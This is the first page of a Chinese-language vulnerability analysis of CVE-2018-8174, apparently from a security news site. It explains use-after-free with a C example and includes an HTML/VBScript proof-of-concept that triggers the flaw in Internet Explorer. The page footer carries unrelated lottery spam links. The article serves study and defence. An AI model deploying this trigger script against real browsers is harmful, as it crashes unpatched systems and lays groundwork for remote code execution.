歡迎來到 黑吧安全網 聚焦網絡安全前沿資訊,精華內容,交流技術心得!

CVE-2018-8174雙殺漏洞分析復現及防御

來源:本站整理 作者:佚名 時間:2020-01-28 TAG: 我要投稿

一、漏洞背景
CVE-2018-8174漏洞是360追日安全團隊于4份捕獲到的,并將其命名為“雙殺”漏洞,意指在IE瀏覽器以及office均可以引發的漏洞。
該漏洞在當時影響最新版本的IE瀏覽器以及使用了IE內核的應用程序。用戶在瀏覽網頁或者打開Office文檔的時候都可能中招。
微軟在4月20號也確認了此漏洞,并在5月8號發布了官方補丁。本文檔將對該漏洞進行詳細分析理解,并提交復現過程與防御建議,供大家相互交流學習。
所影響版本:
Microsoft Excel 2010 SP2
Microsoft Excel 2013 SP1
Microsoft Excel 2016
Microsoft Office 2010 SP2
Microsoft Office 2013 RT SP1
Microsoft Office 2013 SP1Microsoft Office 2016
Microsoft Office Compatibility SP3…
該漏洞影響比較廣泛,可以在該鏈接查看詳細列表: https://www.securityfocus.com/bid/103998
二、 漏洞原理
2.1.UAF的理解
首先了解一個簡單的C++層面的懸垂指針:
#include "stdafx.h"
#include int main()
{
    char *p1;
    p1 = (char*)malloc(sizeof(char) * 10);
    memcpy(p1, "hello", 10);
    printf("p1,addr:%x,%s\n", p1, p1);
    free(p1);
    char *p2;
    p2 = (char*)malloc(sizeof(char) * 10);
    memcpy(p2, "hello", 10);
    printf("p2,addr:%x,%s\n", p2, p1);
    printf("p2,addr:%x,%s\n", p2, p2);
    free(p2);
    return 0;
}
//輸出:
//p1,addr:99ac88,hello
//p2,addr:99ac88,hello
//p2,addr:99ac88,hello
在指針p1被釋放后,卻仍然可以執行已經被釋放的內存,而且在 free 了 p1 之后再次申請同樣大小空間,操作系統會將剛剛 free 了的內存重新分配。
并且可以通過p2操作p1,那么如果再次使用p1,則可以通過p2修改程序功能等目的。p1就叫做 懸垂指針,UAF會造成內存破壞的原因就是使用了懸垂指針。
理解了上面的懸垂指針后再看在vbs中的懸垂指針是怎樣的,根據原始 PoC 防寫一個造成懸垂指針的腳本來理解一下:
html lang="en">
head>
meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
meta http-equiv="x-ua-compatible" content="IE=10">
head>
body>
script language="vbscript">
Dim array_a
Dim array_b(1)
Class Trigger
'重載析構函數       
Private Sub Class_Terminate()       
   
    Alert "重載析構函數"
    Set array_b(0)=array_a(1)            '增加了一個array_b(0)對Trigger實例的引用(Trigger實例引用計數+1)
   
    '刪除array_a (1) 對Trigger實例的引用
    'Trigger實例引用計數-1 來平衡引用計數
    array_a(1)=1
    IsEmpty(array_b)    'IsEmpty 方便斷點觀察
End Sub
End Class
Sub UAF
    Alert "UAF"
    Alert "重新定義array_a"
    ReDim array_a(1)                   
    Alert "創建Trigger實例給數組array_a"
    Set array_a(1)=New Trigger           
    IsEmpty(array_a)
    Alert "清空array_a中的元素,觸發Class_Terminate"
    Erase array_a                       
    IsEmpty("Erase Finish")
End Sub
Sub TriggerVuln
    Alert "訪問未分配的內存,觸發漏洞 "
    array_b(0)=0
End Sub
Sub StartExploit
        UAF
        TriggerVuln
End Sub
StartExploit
script>
body>
html>
如上:
1,在UAF函數中,Set array_a(1)=New Trigger 是創建了一個 Trigger 實例給數組 array_a, Erase array_a 在析構 array_a中的元素時,會調用 Trigger 的重載的析構函數;
2,在此函數中先增加了一個 array_b(0) 對 Trigger 實例的引用(Trigger實例引用計數+1),又通過 array_a(1)=1 刪除 array_a(1) 對 Trigger 實例的引用,(Trigger的實例引用計數減1)來平衡引用計數后,才會徹底釋放 Trigger 實例
3,但是此時 array_b(0) 仍然保留著這個類的引用,然后在 TriggerVuln 函數中,array_b(0)=0  對 array_b(0) 進行訪問時造成了觸發漏洞,此時 array_b(0) 就叫做懸垂指針
2.1.1.調試
在windbg 所在文件夾開啟hpa頁堆調試 和ust;厮葸x項:
//啟用頁面堆--開啟hpa頁堆調試 和ust堆分配記錄
//關于此技術原理的可以看一下這個連接: http://www.cnblogs.com/Ox9A82/p/5603172.html

[1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] [16] [17] [18] [19] [20]  下一頁

【聲明】:黑吧安全網(http://www.650547.live)登載此文出于傳遞更多信息之目的,并不代表本站贊同其觀點和對其真實性負責,僅適于網絡安全技術愛好者學習研究使用,學習中請遵循國家相關法律法規。如有問題請聯系我們,聯系郵箱[email protected],我們會在最短的時間內進行處理。
  • 最新更新
    • 相關閱讀
      • 本類熱門
        • 最近下載
        安徽快3自由的百科 浙江体彩6十1官网 海风股票实战论坛 黑龙江黑龙江省22选5玩法 最准的画趋势线方法视频 河南11选5奖金 广西11选5走势图表 湖北快3专家预测 上海快3如何玩 甘肃十一选五开奖结 北京11选五5开奖走势图